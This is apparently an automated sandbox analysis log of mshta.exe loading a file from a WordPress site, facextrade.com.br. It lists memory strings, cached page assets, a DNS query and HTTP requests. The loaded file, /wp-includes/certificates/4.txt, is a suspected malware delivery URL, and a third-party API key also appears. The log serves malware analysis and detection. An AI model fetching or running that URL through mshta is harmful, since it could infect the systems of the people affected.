Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotPB6TY=
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotding:10px
Source: mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.958333579.0000000000433000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);s
Source: mshta.exe, 00000008.00000002.1178615460.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot;-ms-opacity:.55;0.6
Source: mshta.exe, 00000008.00000002.1178615460.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotnner_wra
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotsonry_foli
Source: mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 00000008.00000003.958313546.0000000000429000.00000004.00000020.00020000.00000000.sdmp, css[1].css1.8.dr, css[1].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);e
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot-arro
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.dr	String found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1ET4.0E)
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.2
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/0
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/5
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2US
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ip
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: bootstrap.min[1].js.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000003.937380901.00000000003B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.broofa.com
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.jplayer.org
Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/apps-themes
Source: mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: scripts[1].js.8.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000003.937380901.00000000003B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000003.937380901.00000000003B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section&
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section(
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura.br/R
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estruturapng
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section00
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section=1.2.8.1da
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosT
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 00000008.00000002.1172304935.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/P/1.1
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/mplate5
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/atom/Y
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.phh:
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 00000008.00000002.1170171663.0000000003113000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.phpustom
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 00000008.00000002.1170226312.0000000003127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036205604.0000000004825000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174196123.000000000482C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036412519.0000000004828000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036484778.0000000004829000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036357765.0000000004827000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036567110.000000000482B000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.dr	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.8.dr	String found in binary or memory: https://github.com/nickpettit/glide
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, jquery.simplr.smoothscroll.min[1].js.8.dr	String found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gtranslate.io/
Source: mshta.exe, 00000008.00000002.1168124115.0000000000411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh6.ggpht.com/s
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000003.946411412.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1061193305.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169795103.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s.w.org/images/core/emoji/11/svg/https://s.w.org/images/core/emoji/11/72x72/NatKL$:
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/B
Source: mshta.exe, 00000008.00000002.1168752912.00000000027FF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2S
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/y
Source: mshta.exe, 00000008.00000003.1061193305.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169795103.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.946406016.0000000002FF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://youtu.be/:id

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[1].css

Jump to behavior

Source: unknown

DNS traffic detected: queries for: facextrade.com.br

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
